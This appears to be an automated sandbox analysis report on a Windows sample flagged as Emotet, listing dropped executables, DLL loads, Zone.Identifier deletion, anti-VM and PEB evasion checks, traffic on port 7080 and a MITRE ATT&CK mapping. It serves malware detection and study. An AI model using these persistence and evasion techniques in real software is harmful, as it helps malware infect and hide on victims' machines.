Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: feclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanagersvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (233).exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (233).exe

Code function: 0_2_00402530 LoadLibraryA,LoadLibraryA,GetProcAddress,EncryptFileA,LoadLibraryA,GetProcAddress,GetProcAddress,LdrFindResource_U,LdrAccessResource,VirtualAlloc,

0_2_00402530

Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_0040F54B push ecx; ret	0_2_0040F55B
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_0040E770 push eax; ret	0_2_0040E784
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_0040E770 push eax; ret	0_2_0040E7AC
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_0040EA88 push eax; ret	0_2_0040EAA6
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_02265E10 push ecx; mov dword ptr [esp], 0000F5B3h	0_2_02265E11
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_02265EA0 push ecx; mov dword ptr [esp], 0000A3FDh	0_2_02265EA1
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_02265EF0 push ecx; mov dword ptr [esp], 0000669Ch	0_2_02265EF1
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_02265F20 push ecx; mov dword ptr [esp], 0000E36Ch	0_2_02265F21
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_02265CD0 push ecx; mov dword ptr [esp], 00001CE1h	0_2_02265CD1
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_02265D20 push ecx; mov dword ptr [esp], 0000C5A1h	0_2_02265D21
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_02265D00 push ecx; mov dword ptr [esp], 00001F9Eh	0_2_02265D01
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_02265D50 push ecx; mov dword ptr [esp], 00006847h	0_2_02265D51
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_02265D90 push ecx; mov dword ptr [esp], 0000B2E0h	0_2_02265D91
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_02265DF0 push ecx; mov dword ptr [esp], 0000AAF5h	0_2_02265DF1
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_02265DC0 push ecx; mov dword ptr [esp], 000089FAh	0_2_02265DC1
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_021C7A3E push ecx; mov dword ptr [esp], 0000A3FDh	0_2_021C7A3F
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_021C7A8E push ecx; mov dword ptr [esp], 0000669Ch	0_2_021C7A8F
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_021C7ABE push ecx; mov dword ptr [esp], 0000E36Ch	0_2_021C7ABF
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_021C786E push ecx; mov dword ptr [esp], 00001CE1h	0_2_021C786F
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_021C789E push ecx; mov dword ptr [esp], 00001F9Eh	0_2_021C789F
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_021C78BE push ecx; mov dword ptr [esp], 0000C5A1h	0_2_021C78BF
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_021C78EE push ecx; mov dword ptr [esp], 00006847h	0_2_021C78EF
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_021C792E push ecx; mov dword ptr [esp], 0000B2E0h	0_2_021C792F
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_021C795E push ecx; mov dword ptr [esp], 000089FAh	0_2_021C795F
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_021C798E push ecx; mov dword ptr [esp], 0000AAF5h	0_2_021C798F
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_021C79AE push ecx; mov dword ptr [esp], 0000F5B3h	0_2_021C79AF
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_0040F54B push ecx; ret	2_2_0040F55B
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_0040E770 push eax; ret	2_2_0040E784
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_0040E770 push eax; ret	2_2_0040E7AC
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_0040EA88 push eax; ret	2_2_0040EAA6
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_02235E10 push ecx; mov dword ptr [esp], 0000F5B3h	2_2_02235E11

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Executable created and started: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe			Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Executable created and started: C:\Windows\SysWOW64\rtmpal\dfscli.exe			Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (233).exe

PE file moved: C:\Windows\SysWOW64\rtmpal\dfscli.exe

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\ExeFile (233).exe	File opened: C:\Windows\SysWOW64\rtmpal\dfscli.exe:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	File opened: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe:Zone.Identifier read attributes \| delete			Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 7080
Source: unknown	Network traffic detected: HTTP traffic on port 7080 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 7080

Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_00405138 IsIconic,GetWindowPlacement,GetWindowRect,	0_2_00405138
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_00403550 IsIconic,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,	0_2_00403550
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_00405138 IsIconic,GetWindowPlacement,GetWindowRect,	2_2_00405138
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_00403550 IsIconic,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,	2_2_00403550

Source: C:\Users\user\Desktop\ExeFile (233).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (233).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_2-36653
Source: C:\Users\user\Desktop\ExeFile (233).exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_0-36575

Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: EnumServicesStatusExW,GetTickCount,ChangeServiceConfig2W,OpenServiceW,QueryServiceConfig2W,CloseServiceHandle,GetProcessHeap,		0_2_02265070
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: EnumServicesStatusExW,GetTickCount,ChangeServiceConfig2W,OpenServiceW,QueryServiceConfig2W,CloseServiceHandle,GetProcessHeap,		2_2_02235070

Source: C:\Users\user\Desktop\ExeFile (233).exe	API coverage: 5.7 %
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	API coverage: 5.7 %

Source: C:\Users\user\Desktop\ExeFile (233).exe TID: 2948

Thread sleep time: -60000s >= -30000s

Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\ExeFile (233).exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_00424A99 __EH_prolog,GetFullPathNameA,lstrcpynA,PathIsUNCA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrlenA,lstrcpyA,	0_2_00424A99
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_022638F0 FindNextFileW,FindNextFileW,_snwprintf,GetProcessHeap,FindFirstFileW,_snwprintf,FindClose,	0_2_022638F0
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_00424A99 __EH_prolog,GetFullPathNameA,lstrcpynA,PathIsUNCA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrlenA,lstrcpyA,	2_2_00424A99
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_022338F0 FindNextFileW,FindNextFileW,_snwprintf,GetProcessHeap,FindFirstFileW,_snwprintf,FindClose,	2_2_022338F0
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_021F38F0 FindNextFileW,FindNextFileW,_snwprintf,GetProcessHeap,HeapFree,FindFirstFileW,FindFirstFileW,_snwprintf,FindClose,FindClose,	3_2_021F38F0

Source: C:\Users\user\Desktop\ExeFile (233).exe

Code function: 0_2_0040E573 VirtualQuery,GetSystemInfo,VirtualQuery,VirtualAlloc,VirtualProtect,

0_2_0040E573

Source: mibincodec.exe, 00000003.00000002.3346168419.0000000000690000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000003.2843423060.000000000258C000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000002.3347478744.0000000002588000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000003.2792139816.000000000258D000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000003.3332621995.000000000258C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: mibincodec.exe, 00000003.00000002.3347478744.0000000002562000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: ExeFile (233).exe, 00000000.00000002.2114163895.0000000002914000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f56s

Source: C:\Users\user\Desktop\ExeFile (233).exe	API call chain: ExitProcess graph end node	graph_0-36746
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	API call chain: ExitProcess graph end node	graph_2-36748
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	API call chain: ExitProcess graph end node	graph_3-12453

Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (233).exe

Code function: 0_2_00402530 LoadLibraryA,LoadLibraryA,GetProcAddress,EncryptFileA,LoadLibraryA,GetProcAddress,GetProcAddress,LdrFindResource_U,LdrAccessResource,VirtualAlloc,

0_2_00402530

Source: C:\Users\user\Desktop\ExeFile (233).exe

Code function: 0_2_00402530 LoadLibraryA,LoadLibraryA,GetProcAddress,EncryptFileA,LoadLibraryA,GetProcAddress,GetProcAddress,LdrFindResource_U,LdrAccessResource,VirtualAlloc,

0_2_00402530

Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_02264E20 mov eax, dword ptr fs:[00000030h]	0_2_02264E20
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_02263F20 mov eax, dword ptr fs:[00000030h]	0_2_02263F20
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_021C5ABE mov eax, dword ptr fs:[00000030h]	0_2_021C5ABE
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_021C095E mov eax, dword ptr fs:[00000030h]	0_2_021C095E
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_021C69BE mov eax, dword ptr fs:[00000030h]	0_2_021C69BE
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_021C0456 mov eax, dword ptr fs:[00000030h]	0_2_021C0456
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_021F1030 mov eax, dword ptr fs:[00000030h]	0_2_021F1030
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_02234E20 mov eax, dword ptr fs:[00000030h]	2_2_02234E20
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_02233F20 mov eax, dword ptr fs:[00000030h]	2_2_02233F20
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_02195ABE mov eax, dword ptr fs:[00000030h]	2_2_02195ABE
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_0219095E mov eax, dword ptr fs:[00000030h]	2_2_0219095E
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_021969BE mov eax, dword ptr fs:[00000030h]	2_2_021969BE
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_02190456 mov eax, dword ptr fs:[00000030h]	2_2_02190456
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_021C1030 mov eax, dword ptr fs:[00000030h]	2_2_021C1030
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_021F3F20 mov eax, dword ptr fs:[00000030h]	3_2_021F3F20
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_021F4E20 mov eax, dword ptr fs:[00000030h]	3_2_021F4E20
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_02180456 mov eax, dword ptr fs:[00000030h]	3_2_02180456
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_02185ABE mov eax, dword ptr fs:[00000030h]	3_2_02185ABE
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_0218095E mov eax, dword ptr fs:[00000030h]	3_2_0218095E
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_021869BE mov eax, dword ptr fs:[00000030h]	3_2_021869BE
Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe	Code function: 3_2_021B1030 mov eax, dword ptr fs:[00000030h]	3_2_021B1030

Source: C:\Users\user\Desktop\ExeFile (233).exe

Code function: 0_2_022642F0 GetProcessHeap,RtlAllocateHeap,RtlAllocateHeap,

0_2_022642F0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_0041214A SetUnhandledExceptionFilter,	0_2_0041214A
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_0041215E SetUnhandledExceptionFilter,	0_2_0041215E
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_0041214A SetUnhandledExceptionFilter,	2_2_0041214A
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_0041215E SetUnhandledExceptionFilter,	2_2_0041215E

Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: GetThreadLocale,GetLocaleInfoA,GetACP,	0_2_00403110
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: GetLocaleInfoW,GetLastError,GetLocaleInfoW,GetLocaleInfoA,GetLocaleInfoA,MultiByteToWideChar,	0_2_0041B2C3
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: GetLocaleInfoA,MultiByteToWideChar,	0_2_0041B37F
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: GetLocaleInfoW,GetLastError,GetLocaleInfoW,GetLocaleInfoW,WideCharToMultiByte,GetLocaleInfoA,	0_2_0041B3F3
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: GetLocaleInfoW,WideCharToMultiByte,	0_2_0041B4A6
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: GetLocaleInfoA,_strncpy,	0_2_004186CD
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: GetLocaleInfoA,	0_2_004176FA
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: _strlen,EnumSystemLocalesA,	0_2_00418BEC
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: _strlen,_strlen,EnumSystemLocalesA,	0_2_00418C23
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: GetLocaleInfoA,_TranslateName,_TranslateName,IsValidCodePage,IsValidLocale,_strcat,	0_2_00418CFE
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: _strlen,EnumSystemLocalesA,	0_2_00418CA9
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: lstrcpyA,LoadLibraryA,GetLocaleInfoA,	0_2_00427F61
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: GetThreadLocale,GetLocaleInfoA,GetACP,	2_2_00403110
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: GetLocaleInfoW,GetLastError,GetLocaleInfoW,GetLocaleInfoA,GetLocaleInfoA,MultiByteToWideChar,	2_2_0041B2C3
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: GetLocaleInfoA,MultiByteToWideChar,	2_2_0041B37F
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: GetLocaleInfoW,GetLastError,GetLocaleInfoW,GetLocaleInfoW,WideCharToMultiByte,GetLocaleInfoA,	2_2_0041B3F3
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: GetLocaleInfoW,WideCharToMultiByte,	2_2_0041B4A6
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: GetLocaleInfoA,_strncpy,	2_2_004186CD
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: GetLocaleInfoA,	2_2_004176FA
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: _strlen,EnumSystemLocalesA,	2_2_00418BEC
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: _strlen,_strlen,EnumSystemLocalesA,	2_2_00418C23
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: GetLocaleInfoA,_TranslateName,_TranslateName,IsValidCodePage,IsValidLocale,_strcat,	2_2_00418CFE
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: _strlen,EnumSystemLocalesA,	2_2_00418CA9
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: lstrcpyA,LoadLibraryA,GetLocaleInfoA,	2_2_00427F61

Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (233).exe

Code function: 0_2_00412E0F GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00412E0F

Source: C:\Users\user\Desktop\ExeFile (233).exe

Code function: 0_2_00414AE3 __lock,_strlen,_strcat,_strncpy,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,_strncpy,

0_2_00414AE3

Source: C:\Users\user\Desktop\ExeFile (233).exe

Code function: 0_2_00403186 GetVersionExA,InterlockedExchange,

0_2_00403186

Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Emotet

Source: Yara match	File source: 2.2.dfscli.exe.219279e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ExeFile (233).exe.21c279e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.mibincodec.exe.218279e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.mibincodec.exe.218052e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.dfscli.exe.219052e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.mibincodec.exe.218052e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ExeFile (233).exe.21c052e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ExeFile (233).exe.21c279e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ExeFile (233).exe.21c052e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.dfscli.exe.2230000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ExeFile (233).exe.2260000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.dfscli.exe.219279e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.mibincodec.exe.218279e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.mibincodec.exe.21f0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.dfscli.exe.219052e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3346727228.00000000021B4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2117416875.0000000002190000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3346601105.0000000002180000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2113709625.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2117594434.0000000002231000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2113874721.00000000021F4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2117499906.00000000021C4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_0040422C bind,	0_2_0040422C
Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_00403600 SetTimer,listen,SetTimer,SetTimer,	0_2_00403600
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_0040422C bind,	2_2_0040422C
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_00403600 SetTimer,listen,SetTimer,SetTimer,	2_2_00403600

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 Input Capture	2 System Time Discovery	Remote Services	11 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	11 Service Execution	12 Windows Service	12 Windows Service	2 Obfuscated Files or Information	LSASS Memory	1 System Service Discovery	Remote Desktop Protocol	1 Input Capture	22 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Process Injection	1 DLL Side-Loading	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	26 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
